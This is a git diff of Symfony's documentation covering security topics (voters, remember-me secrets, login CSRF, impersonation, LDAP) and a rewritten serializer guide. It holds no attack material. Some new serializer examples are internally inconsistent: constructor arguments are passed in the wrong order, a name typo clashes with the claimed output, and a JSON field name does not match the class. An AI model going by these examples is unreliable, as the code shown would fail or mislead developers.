     Google, Facebook or Twitter (social login), check out the `HWIOAuthBundle`_
-    community bundle.
+    community bundle or `Oauth2-client`_ package.
 
 .. _security-form-login:
 
@@ -890,7 +890,7 @@ Finally, create or update the template:
         </form>
     {% endblock %}
 
-.. caution::
+.. warning::
 
     The ``error`` variable passed into the template is an instance
     of :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
@@ -1016,7 +1016,7 @@ be ``authenticate``:
     <form action="{{ path('app_login') }}" method="post">
         {# ... the login fields #}
 
-        <input type="hidden" name="_csrf_token" value="{{ csrf_token('authenticate') }}">
+        <input type="hidden" name="_csrf_token" data-controller="csrf-protection" value="{{ csrf_token('authenticate') }}">
 
         <button type="submit">login</button>
     </form>
@@ -1744,7 +1744,7 @@ You can log in a user programmatically using the ``login()`` method of the
 :class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
     // src/Controller/SecurityController.php
-    namespace App\Controller\SecurityController;
+    namespace App\Controller;
 
     use App\Security\Authenticator\ExampleAuthenticator;
     use Symfony\Bundle\SecurityBundle\Security;
@@ -2254,7 +2254,7 @@ Users with ``ROLE_SUPER_ADMIN``, will automatically have ``ROLE_ADMIN``,
 ``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from
 ``ROLE_ADMIN``).
 
-.. caution::
+.. warning::
 
     For role hierarchy to work, do not use ``$user->getRoles()`` manually.
     For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`::
@@ -2549,6 +2549,17 @@ the built-in ``is_granted()`` helper function in any Twig template:
 
 .. _security-isgranted:
 
+Similarly, if you want to check if a specific user has a certain role, you can use
+the built-in ``is_granted_for_user()`` helper function:
+
+.. code-block:: html+twig
+
+    {% if is_granted_for_user(user, 'ROLE_ADMIN') %}
+        <a href="...">Delete</a>
+    {% endif %}
+
+.. _security-isgrantedforuser:
+
 Securing other Services
 .......................
 
@@ -2585,6 +2596,19 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
           // ...
       }
 
+
+.. tip::
+
+    The ``isGranted()`` method checks authorization for the currently logged-in user.
+    If you need to check authorization for a different user or when the user session
+    is unavailable (e.g., in a CLI context such as a message queue or cron job), you
+    can use the ``isGrantedForUser()`` method to explicitly set the target user.
+
+    .. versionadded:: 7.3
+
+        The :method:`Symfony\\Bundle\\SecurityBundle\\Security::isGrantedForUser`
+        method was introduced in Symfony 7.3.
+
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 Symfony will automatically pass the ``security.helper`` to your service
 thanks to autowiring and the ``Security`` type-hint.
@@ -2782,6 +2806,8 @@ implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
 Then, your ``isEqualTo()`` method will be called when comparing users instead
 of the core logic.
 
+.. _security-security-events:
+
 Security Events
 ---------------
 
@@ -2972,3 +2998,4 @@ Authorization (Denying Access)
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
+.. _`Oauth2-client`: https://github.com/thephpleague/oauth2-client
diff --git a/security/access_control.rst b/security/access_control.rst
index cd94c930592..8e62e8a84c7 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -213,7 +213,7 @@ Example #7:
   * **Why?** This doesn't match any ``access_control`` rules, since its URI
   * doesn't match any of the ``path`` values.
 
-.. caution::
+.. warning::
 
     Matching the URI is done without ``$_GET`` parameters.
     :ref:`Deny access in PHP code <security-securing-controller>` if you want
@@ -246,7 +246,7 @@ options:
     can learn how to use your custom attributes by reading
     :ref:`security/custom-voter`.
 
-.. caution::
+.. warning::
 
     If you define both ``roles`` and ``allow_if``, and your Access Decision
     Strategy is the default one (``affirmative``), then the user will be granted
@@ -268,7 +268,7 @@ entry that *only* matches requests coming from some IP address or range.
 For example, this *could* be used to deny access to a URL pattern to all
 requests *except* those from a trusted, internal server.
 
-.. caution::
+.. warning::
 
     As you'll read in the explanation below the example, the ``ips`` option
     does not restrict to a specific IP address. Instead, using the ``ips``
diff --git a/security/access_token.rst b/security/access_token.rst
index 114c4b8964a..c0ff4692676 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -107,7 +107,7 @@ This handler must implement
 The access token authenticator will use the returned user identifier to
 load the user using the :ref:`user provider <security-user-providers>`.
 
-.. caution::
+.. warning::
 
     It is important to check the token if is valid. For instance, the
     example above verifies whether the token has not expired. With
@@ -136,7 +136,7 @@ Symfony provides other extractors as per the `RFC6750`_:
     The token is part of the request body during a POST request. Usually
     ``access_token``.
 
-.. caution::
+.. warning::
 
     Because of the security weaknesses associated with the URI method,
     including the high likelihood that the URL or the request body
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 689df6108e3..8b2ec9d7f34 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -153,22 +153,25 @@ or there was something wrong (e.g. incorrect password). The authenticator
 can define what happens in these cases:
 
 ``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response``
-    If the user is authenticated, this method is called with the
-    authenticated ``$token``. This method can return a response (e.g.
-    redirect the user to some page).
+    If authentication is successful, this method is called with the
+    authenticated ``$token``.
 
-    If ``null`` is returned, the request continues like normal (i.e. the
-    controller matching the login route is called). This is useful for API
-    routes where each route is protected by an API key header.
+    This method can return a response (e.g. redirect the user to some page).
+
+    If ``null`` is returned, the current request will continue (and the
+    user will be authenticated). This is useful for API routes where each
+    route is protected by an API key header.
 
 ``onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response``
-    If an ``AuthenticationException`` is thrown during authentication, the
-    process fails and this method is called. This method can return a
-    response (e.g. to return a 401 Unauthorized response in API routes).
+    If authentication failed (e. g. wrong username password), this method
+    is called with the ``AuthenticationException`` thrown.
+
+    This method can return a response (e.g. send a 401 Unauthorized in API
+    routes).
 
-    If ``null`` is returned, the request continues like normal. This is
-    useful for e.g. login forms, where the login controller is run again
-    with the login errors.
+    If ``null`` is returned, the request continues (but the user will **not**
+    be authenticated). This is useful for login forms, where the login
+    controller is run again with the login errors.
 
     If you're using :ref:`login throttling <security-login-throttling>`,
     you can check if ``$exception`` is an instance of
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 41f055ea39a..6f22e7aace6 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -5,7 +5,7 @@ Sometimes, it's useful to be able to switch from one user to another without
 having to log out and log in again (for instance when you are debugging something
 a user sees that you can't reproduce).
 
-.. caution::
+.. warning::
 
     User impersonation is not compatible with some authentication mechanisms
     (e.g. ``REMOTE_USER``) where the authentication information is expected to be
@@ -368,13 +368,14 @@ logic you want::
 
     use Symfony\Bundle\SecurityBundle\Security;
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface;
     use Symfony\Component\Security\Core\Authorization\Voter\Voter;
     use Symfony\Component\Security\Core\User\UserInterface;
 
     class SwitchToCustomerVoter extends Voter
     {
         public function __construct(
-            private Security $security,
+            private AccessDecisionManagerInterface $accessDecisionManager,
         ) {
         }
 
@@ -393,12 +394,12 @@ logic you want::
             }
 
             // you can still check for ROLE_ALLOWED_TO_SWITCH
-            if ($this->security->isGranted('ROLE_ALLOWED_TO_SWITCH')) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_ALLOWED_TO_SWITCH'])) {
                 return true;
             }
 
             // check for any roles you want
-            if ($this->security->isGranted('ROLE_TECH_SUPPORT')) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_TECH_SUPPORT'])) {
                 return true;
             }
 
diff --git a/security/ldap.rst b/security/ldap.rst
index 6466178ee69..081be764290 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -197,14 +197,14 @@ use the ``ldap`` user provider.
             ;
         };
 
-.. caution::
+.. danger::
 
     The Security component escapes provided input data when the LDAP user
     provider is used. However, the LDAP component itself does not provide
     any escaping yet. Thus, it's your responsibility to prevent LDAP injection
     attacks when using the component directly.
 
-.. caution::
+.. warning::
 
     The user configured above in the user provider is only used to retrieve
     data. It's a static user defined by its username and password (for improved
diff --git a/security/login_link.rst b/security/login_link.rst
index e80a3cb27b0..57d353278c2 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -194,7 +194,7 @@ controller. Based on this property, the correct user is loaded and a login
 link is created using
 :method:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandlerInterface::createLoginLink`.
 
-.. caution::
+.. warning::
 
     It is important to send this link to the user and **not show it directly**,
     as that would allow anyone to login. For instance, use the
diff --git a/security/passwords.rst b/security/passwords.rst
index 09e01507dec..fe20187b3a0 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -644,7 +644,7 @@ the name of the hasher to use::
         }
     }
 
-.. caution::
+.. warning::
 
     When :ref:`migrating passwords <security-password-migration>`, you don't
     need to implement ``PasswordHasherAwareInterface`` to return the legacy
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 8fac6d78849..2fd0f7e8d1e 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -19,7 +19,7 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
                 main:
                     # ...
                     remember_me:
-                        secret:   '%kernel.secret%' # required
+                        secret: '%kernel.secret%'
                         lifetime: 604800 # 1 week in seconds
                         # by default, the feature is enabled by checking a
                         # checkbox in the login form (see below), uncomment the
@@ -44,7 +44,7 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
                 <firewall name="main">
                     <!-- ... -->
 
-                    <!-- secret: required
+                    <!-- secret: default to "%kernel.secret%"
                          lifetime: 604800 is 1 week in seconds -->
                     <remember-me
                         secret="%kernel.secret%"
@@ -67,7 +67,7 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%') // required
+                    ->secret('%kernel.secret%')
                     ->lifetime(604800) // 1 week in seconds
 
                     // by default, the feature is enabled by checking a
@@ -77,9 +77,11 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
             ;
         };
 
-The ``secret`` option is the only required option and it is used to sign
-the remember me cookie. It's common to use the ``kernel.secret`` parameter,
-which is defined using the ``APP_SECRET`` environment variable.
+.. versionadded:: 7.2
+
+    The ``secret`` option is no longer required starting from Symfony 7.2. By
+    default, ``%kernel.secret%`` is used, which is defined using the
+    ``APP_SECRET`` environment variable.
 
 After enabling the ``remember_me`` system in the configuration, there are a
 couple more things to do before remember me works correctly:
@@ -171,7 +173,6 @@ allow users to opt-out. In these cases, you can use the
                 main:
                     # ...
                     remember_me:
-                        secret: '%kernel.secret%'
                         # ...
                         always_remember_me: true
 
@@ -194,7 +195,6 @@ allow users to opt-out. In these cases, you can use the
                     <!-- ... -->
 
                     <remember-me
-                        secret="%kernel.secret%"
                         always-remember-me="true"
                     />
                 </firewall>
@@ -211,7 +211,6 @@ allow users to opt-out. In these cases, you can use the
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%')
                     // ...
                     ->alwaysRememberMe(true)
             ;
@@ -335,7 +334,6 @@ are fetched from the user object using the
                 main:
                     # ...
                     remember_me:
-                        secret: '%kernel.secret%'
                         # ...
                         signature_properties: ['password', 'updatedAt']
 
@@ -357,7 +355,7 @@ are fetched from the user object using the
                 <firewall name="main">
                     <!-- ... -->
 
-                    <remember-me secret="%kernel.secret%">
+                    <remember-me>
                         <signature-property>password</signature-property>
                         <signature-property>updatedAt</signature-property>
                     </remember-me>
@@ -375,7 +373,6 @@ are fetched from the user object using the
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%')
                     // ...
                     ->signatureProperties(['password', 'updatedAt'])
             ;
@@ -419,7 +416,6 @@ You can enable the doctrine token provider using the ``doctrine`` setting:
                 main:
                     # ...
                     remember_me:
-                        secret: '%kernel.secret%'
                         # ...
                         token_provider:
                             doctrine: true
@@ -442,7 +438,7 @@ You can enable the doctrine token provider using the ``doctrine`` setting:
                 <firewall name="main">
                     <!-- ... -->
 
-                    <remember-me secret="%kernel.secret%">
+                    <remember-me>
                         <token-provider doctrine="true"/>
                     </remember-me>
                 </firewall>
@@ -459,7 +455,6 @@ You can enable the doctrine token provider using the ``doctrine`` setting:
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%')
                     // ...
                     ->tokenProvider([
                         'doctrine' => true,
diff --git a/security/user_providers.rst b/security/user_providers.rst
index 17a18468168..09d47c270f2 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -257,7 +257,7 @@ After setting up hashing, you can configure all the user information in
             ;
         };
 
-.. caution::
+.. warning::
 
     When using a ``memory`` provider, and not the ``auto`` algorithm, you have
     to choose an encoding without salt (i.e. ``bcrypt``).
diff --git a/security/voters.rst b/security/voters.rst
index 01be3eb0745..e7452fadf99 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -237,22 +237,22 @@ Checking for Roles inside a Voter
 ---------------------------------
 
 What if you want to call ``isGranted()`` from *inside* your voter - e.g. you want
-to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by injecting
-the :class:`Symfony\\Bundle\\SecurityBundle\\Security`
-into your voter. You can use this to, for example, *always* allow access to a user
+to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by using an
+:class:`access decision manager <Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface>`
+inside your voter. You can use this to, for example, *always* allow access to a user
 with ``ROLE_SUPER_ADMIN``::
 
     // src/Security/PostVoter.php
 
     // ...
-    use Symfony\Bundle\SecurityBundle\Security;
+    use Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface;
 
     class PostVoter extends Voter
     {
         // ...
 
         public function __construct(
-            private Security $security,
+            private AccessDecisionManagerInterface $accessDecisionManager,
         ) {
         }
 
@@ -261,7 +261,7 @@ with ``ROLE_SUPER_ADMIN``::
             // ...
 
             // ROLE_SUPER_ADMIN can do anything! The power!
-            if ($this->security->isGranted('ROLE_SUPER_ADMIN')) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_SUPER_ADMIN'])) {
                 return true;
             }
 
@@ -269,6 +269,25 @@ with ``ROLE_SUPER_ADMIN``::
         }
     }
 
+.. warning::
+
+    In the previous example, avoid using the following code to check if a role
+    is granted permission::
+
+        // DON'T DO THIS
+        use Symfony\Component\Security\Core\Security;
+        // ...
+
+        if ($this->security->isGranted('ROLE_SUPER_ADMIN')) {
+            // ...
+        }
+
+    The ``Security::isGranted()`` method inside a voter has a significant
+    drawback: it does not guarantee that the checks are performed on the same
+    token as the one in your voter. The token in the token storage might have
+    changed or could change in the meantime. Always use the ``AccessDecisionManager``
+    instead.
+
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 you're done! Symfony will automatically pass the ``security.helper``
 service when instantiating your voter (thanks to autowiring).
diff --git a/serializer.rst b/serializer.rst
index 91fd92a39a3..d541310aa15 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1,10 +1,17 @@
 How to Use the Serializer
 =========================
 
-Symfony provides a serializer to serialize/deserialize to and from objects and
-different formats (e.g. JSON or XML). Before using it, read the
-:doc:`Serializer component docs </components/serializer>` to get familiar with
-its philosophy and the normalizers and encoders terminology.
+Symfony provides a serializer to transform data structures from one format
+to PHP objects and the other way around.
+
+This is most commonly used when building an API or communicating with third
+party APIs. The serializer can transform an incoming JSON request payload
+to a PHP object that is consumed by your application. Then, when generating
+the response, you can use the serializer to transform the PHP objects back
+to a JSON response.
+
+It can also be used to for instance load CSV configuration data as PHP
+objects, or even to transform between formats (e.g. YAML to XML).
 
 .. _activating_the_serializer:
 
@@ -12,424 +19,446 @@ Installation
 ------------
 
 In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the ``serializer`` :ref:`Symfony pack <symfony-packs>` before using it:
+install the serializer :ref:`Symfony pack <symfony-packs>` before using it:
 
 .. code-block:: terminal
 
     $ composer require symfony/serializer-pack
 
-Using the Serializer Service
-----------------------------
+.. note::
+
+    The serializer pack also installs some commonly used optional
+    dependencies of the Serializer component. When using this component
+    outside the Symfony framework, you might want to start with the
+    ``symfony/serializer`` package and install optional dependencies if you
+    need them.
 
-Once enabled, the serializer service can be injected in any service where
-you need it or it can be used in a controller::
+.. seealso::
 
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+    A popular alternative to the Symfony Serializer component is the third-party
+    library, `JMS serializer`_.
 
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Serializer\SerializerInterface;
+Serializing an Object
+---------------------
 
-    class DefaultController extends AbstractController
+For this example, assume the following class exists in your project::
+
+    // src/Model/Person.php
+    namespace App\Model;
+
+    class Person
     {
-        public function index(SerializerInterface $serializer): Response
+        public function __construct(
+            private int $age,
+            private string $name,
+            private bool $sportsperson
+        ) {
+        }
+
+        public function getAge(): int
+        {
+            return $this->age;
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function isSportsperson(): bool
         {
-            // keep reading for usage examples
+            return $this->sportsperson;
         }
     }
 
-Or you can use the ``serialize`` Twig filter in a template:
+If you want to transform objects of this type into a JSON structure (e.g.
+to send them via an API response), get the ``serializer`` service by using
+the :class:`Symfony\\Component\\Serializer\\SerializerInterface` parameter type:
 
-.. code-block:: twig
+.. configuration-block::
 
-    {{ object|serialize(format = 'json') }}
+    .. code-block:: php-symfony
 
-See the :doc:`twig reference </reference/twig_reference>` for
-more information.
+        // src/Controller/PersonController.php
+        namespace App\Controller;
 
-Adding Normalizers and Encoders
--------------------------------
+        use App\Model\Person;
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\JsonResponse;
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Serializer\SerializerInterface;
 
-Once enabled, the ``serializer`` service will be available in the container.
-It comes with a set of useful :ref:`encoders <component-serializer-encoders>`
-and :ref:`normalizers <component-serializer-normalizers>`.
-
-Encoders supporting the following formats are enabled:
-
-* JSON: :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
-* XML: :class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
-* CSV: :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
-* YAML: :class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
-
-As well as the following normalizers:
-
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
-
-Other :ref:`built-in normalizers <component-serializer-normalizers>` and
-custom normalizers and/or encoders can also be loaded by tagging them as
-:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` and
-:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also
-possible to set the priority of the tag in order to decide the matching order.
+        class PersonController extends AbstractController
+        {
+            public function index(SerializerInterface $serializer): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
 
-.. danger::
+                $jsonContent = $serializer->serialize($person, 'json');
+                // $jsonContent contains {"name":"Jane Doe","age":39,"sportsperson":false}
 
-    Always make sure to load the ``DateTimeNormalizer`` when serializing the
-    ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
-    usage and exposing internal details.
+                return JsonResponse::fromJsonString($jsonContent);
+            }
+        }
 
-.. _serializer_serializer-context:
+    .. code-block:: php-standalone
 
-Serializer Context
-------------------
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
 
-The serializer can define a context to control the (de)serialization of
-resources. This context is passed to all normalizers. For example:
+        $encoders = [new JsonEncoder()];
+        $normalizers = [new ObjectNormalizer()];
+        $serializer = new Serializer($normalizers, $encoders);
 
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses
-  ``datetime_format`` key as date time format;
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer`
-  uses ``preserve_empty_objects`` to represent empty objects as ``{}`` instead
-  of ``[]`` in JSON.
-* :class:`Symfony\\Component\\Serializer\\Serializer`
-  uses ``empty_array_as_object`` to represent empty arrays as ``{}`` instead
-  of ``[]`` in JSON.
+        $person = new Person('Jane Done', 39, false);
 
-You can pass the context as follows::
+        $jsonContent = $serializer->serialize($person, 'json');
+        // $jsonContent contains {"name":"Jane Doe","age":39,"sportsperson":false}
 
-    $serializer->serialize($something, 'json', [
-        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
-    ]);
+The first parameter of the :method:`Symfony\\Component\\Serializer\\Serializer::serialize`
+is the object to be serialized and the second is used to choose the proper
+encoder (i.e. format), in this case the :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`.
 
-    $serializer->deserialize($someJson, Something::class, 'json', [
-        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
-    ]);
+.. tip::
 
-You can also configure the default context through the framework
-configuration:
+    When your controller class extends ``AbstractController`` (like in the
+    example above), you can simplify your controller by using the
+    :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::json`
+    method to create a JSON response from an object using the Serializer::
 
-.. configuration-block::
+        class PersonController extends AbstractController
+        {
+            public function index(): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
 
-    .. code-block:: yaml
+                // when the Serializer is not available, this will use json_encode()
+                return $this->json($person);
+            }
+        }
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            serializer:
-                default_context:
-                    enable_max_depth: true
-                    yaml_indentation: 2
+Using the Serializer in Twig Templates
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    .. code-block:: xml
+You can also serialize objects in any Twig template using the ``serialize``
+filter:
 
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:serializer>
-                <default-context enable-max-depth="true" yaml-indentation="2"/>
-            </framework:serializer>
-        </framework:config>
+.. code-block:: twig
 
-    .. code-block:: php
+    {{ person|serialize(format = 'json') }}
 
-        // config/packages/framework.php
-        use Symfony\Component\Serializer\Encoder\YamlEncoder;
-        use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
-        use Symfony\Config\FrameworkConfig;
+See the :ref:`twig reference <reference-twig-filter-serialize>` for more
+information.
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->serializer()
-                ->defaultContext([
-                    AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true,
-                    YamlEncoder::YAML_INDENTATION => 2,
-                ])
-            ;
-        };
+Deserializing an Object
+-----------------------
 
-You can also specify the context on a per-property basis::
+APIs often also need to convert a formatted request body (e.g. JSON) to a
+PHP object. This process is called *deserialization* (also known as "hydration"):
 
 .. configuration-block::
 
-    .. code-block:: php-attributes
+    .. code-block:: php-symfony
 
-        namespace App\Model;
+        // src/Controller/PersonController.php
+        namespace App\Controller;
 
-        use Symfony\Component\Serializer\Annotation\Context;
-        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+        // ...
+        use Symfony\Component\HttpFoundation\Exception\BadRequestException;
+        use Symfony\Component\HttpFoundation\Request;
 
-        class Person
+        class PersonController extends AbstractController
         {
-            #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
-            public \DateTimeInterface $createdAt;
-
             // ...
+
+            public function create(Request $request, SerializerInterface $serializer): Response
+            {
+                if ('json' !== $request->getContentTypeFormat()) {
+                    throw new BadRequestException('Unsupported content format');
+                }
+
+                $jsonData = $request->getContent();
+                $person = $serializer->deserialize($jsonData, Person::class, 'json');
+
+                // ... do something with $person and return a response
+            }
         }
 
-    .. code-block:: yaml
+    .. code-block:: php-standalone
 
-        # config/serializer/custom_config.yaml
-        App\Model\Person:
-            attributes:
-                createdAt:
-                    contexts:
-                        - { context: { datetime_format: 'Y-m-d' } }
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
 
-    .. code-block:: xml
+        // ...
+        $jsonData = ...; // fetch JSON from the request
+        $person = $serializer->deserialize($jsonData, Person::class, 'json');
 
-        <!-- config/serializer/custom_config.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Model\Person">
-                <attribute name="createdAt">
-                    <context>
-                        <entry name="datetime_format">Y-m-d</entry>
-                    </context>
-                </attribute>
-            </class>
-        </serializer>
+In this case, :method:`Symfony\\Component\\Serializer\\Serializer::deserialize`
+needs three parameters:
 
-Use the options to specify context specific to normalization or denormalization::
+#. The data to be decoded
+#. The name of the class this information will be decoded to
+#. The name of the encoder used to convert the data to an array (i.e. the
+   input format)
 
-    namespace App\Model;
+When sending a request to this controller (e.g.
+``{"first_name":"John Doe","age":54,"sportsperson":true}``), the serializer
+will create a new instance of ``Person`` and sets the properties to the
+values from the given JSON.
 
-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+.. note::
 
-    class Person
-    {
-        #[Context(
-            normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
-            denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => '!Y-m-d'], // To prevent to have the time from the moment of denormalization
-        )]
-        public \DateTimeInterface $createdAt;
+    By default, additional attributes that are not mapped to the
+    denormalized object will be ignored by the Serializer component. For
+    instance, if a request to the above controller contains ``{..., "city": "Paris"}``,
+    the ``city`` field will be ignored. You can also throw an exception in
+    these cases using the :ref:`serializer context <serializer-context>`
+    you'll learn about later.
 
-        // ...
-    }
+.. seealso::
 
-You can also restrict the usage of a context to some groups::
+    You can also deserialize data into an existing object instance (e.g.
+    when updating data). See :ref:`Deserializing in an Existing Object <serializer-populate-existing-object>`.
 
-    namespace App\Model;
+.. _serializer-process:
 
-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Annotation\Groups;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+The Serialization Process: Normalizers and Encoders
+---------------------------------------------------
 
-    class Person
-    {
-        #[Groups(['extended'])]
-        #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
-        #[Context(
-            context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
-            groups: ['extended'],
-        )]
-        public \DateTimeInterface $createdAt;
+The serializer uses a two-step process when (de)serializing objects:
 
-        // ...
-    }
+.. raw:: html
 
-The attribute can be repeated as much as needed on a single property.
-Context without group is always applied first. Then context for the matching
-groups are merged in the provided order.
+    <object data="_images/serializer/serializer_workflow.svg" type="image/svg+xml"
+        alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
+    ></object>
 
-If you repeat the same context in multiple properties, consider using the
-``#[Context]`` attribute on your class to apply that context configuration to
-all the properties of the class::
+In both directions, data is always first converted to an array. This splits
+the process in two separate responsibilities:
 
-    namespace App\Model;
+Normalizers
+    These classes convert **objects** into **arrays** and vice versa. They
+    do the heavy lifting of finding out which class properties to
+    serialize, what value they hold and what name they should have.
+Encoders
+    Encoders convert **arrays** into a specific **format** and the other
+    way around. Each encoder knows exactly how to parse and generate a
+    specific format, for instance JSON or XML.
 
-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+Internally, the ``Serializer`` class uses a sorted list of normalizers and
+one encoder for the specific format when (de)serializing an object.
 
-    #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
-    #[Context(
-        context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
-        groups: ['extended'],
-    )]
-    class Person
-    {
-        // ...
-    }
+There are several normalizers configured in the default ``serializer``
+service. The most important normalizer is the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`. This
+normalizer uses reflection and the :doc:`PropertyAccess component </components/property_access>`
+to transform between any object and an array. You'll learn more about
+:ref:`this and other normalizers <serializer-normalizers>` later.
 
-.. _serializer-using-context-builders:
+The default serializer is also configured with some encoders, covering the
+common formats used by HTTP applications:
 
-Using Context Builders
-----------------------
+* :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
